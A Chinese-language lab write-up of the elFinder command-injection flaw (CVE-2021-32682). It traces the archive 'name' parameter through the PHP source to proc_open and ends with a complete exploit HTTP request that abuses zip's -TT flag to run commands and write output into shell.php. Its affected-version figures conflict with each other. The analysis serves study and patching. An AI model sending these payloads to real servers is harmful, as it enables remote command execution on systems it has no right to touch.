漏洞介绍

elFinder是一个基于PHP、Jquery的开源文件管理系统。

在elFinder 2.1.48及以前的版本中，存在一处参数注入漏洞。攻击者可以利用这个漏洞在目标服务器上执行任意命令，即使是最小化安装的elFinder。

这个漏洞的原因除了参数注入外，还有默认情况下的未授权访问，因此我们可以对elFinder增加权限校验，避免任意用户操作服务器上的文件，进而避免被执行任意命令。当然，升级版本到2.1.49及以上也是必要的。

漏洞范围

elFinder <= 2.1.58

漏洞靶场

使用vulhub的靶场

使用版本为elFinder 2.1.58

vulhub-master/elFinder/CVE-2021-32682

1	docker-compose up -d

服务启动后，访问http://your-ip:8080即可查看到elFinder的文件管理页面。

漏洞原理

得知是通过存档功能，传递name参数造成命令注入，然后进行抓包

可以看出是在connector.minimal.php文件中进行操作

在connector.minimal.php文件中发现，包含文件autoload.php

php/connector.minimal.php-dist#L37

在autoload.php中，不确定在那个文件，不过通过名字大概率可以在elFinderVolumeLocalFileSystem.class.php和elFinder.class.php中可以找到

php/autoload.php#L5-L49

先进入elFinderVolumeLocalFileSystem.class.php中，通过抓包得知cmd=archive，可能有archive函数

php/elFinderVolumeLocalFileSystem.class.php#L1248-L1251

发现果然有，跟进makeArchive函数

php/elFinderVolumeDriver.class.php#L6859-L6883

可以看出参数确实是传到makeArchive，但是不是通过_archive传进来的接下来在elFinder.class.php中尝试

php/elFinderVolumeDriver.class.php#L3829-L3845

先对name参数进行isset判断，然后传入archive函数中，继续跟进

php/elFinderVolumeDriver.class.php#L2914-L2968

$name先进行了正则转换后进行了字符串替换，然后先传入到uniqueName中，后传入到remoteArchive中，先跟进到uniqueName中

php/elFinderVolumeDriver.class.php#L4037-L4077

可以看出是对$name进行了一些转换替换，最后返回$name值接下来返回上一步，跟进到remoteArchive中

php/elFinderVolumeDriver.class.php#L2980-L3004

看见参数传入到makeArchive函数中，继续跟进

php/elFinderVolumeDriver.class.php#L6859-L6883

到这里参数通过escapeshellarg()进行转义，然后拼接其它参数赋值给$cmd，然后进入到procExec函数中

php/elFinder.class.php#L5120-L5196

可以看见$cmd被作为参数，放入到proc_open中执行命令 proc_open命令详解如下：

自此整个流程分析完成，虽然中间对参数进行了正则和替换的过滤操作，但是因为程序会将name参数值解析为标志（--foo=bar），可以通过zip的-TT指定要运行的测试命令，如：-TmTT="$(id>out.txt)foooo" 通过测试得到，参数在传入到proc_open中执行命令前，其值为"zip -r9 -q 'a1.zip' './a.zip'"，所以我们可以构造成以下命令"zip -r9 -q '-TmTT="$(id>out.txt)foooo".zip' './a.txt'"，执行id命令并将结果输出到out.txt中

漏洞复现

复现这个漏洞首先需要用elFinder提供的功能，创建两个文件。

先创建一个普通的文本文件1.txt：

然后右键这个文件，对其进行打包，打包后的文件命名为2.zip：

最后我们获得1.txt和2.zip两个文件：

然后，发送如下数据包来执行任意命令：

GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://localhost.lan:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close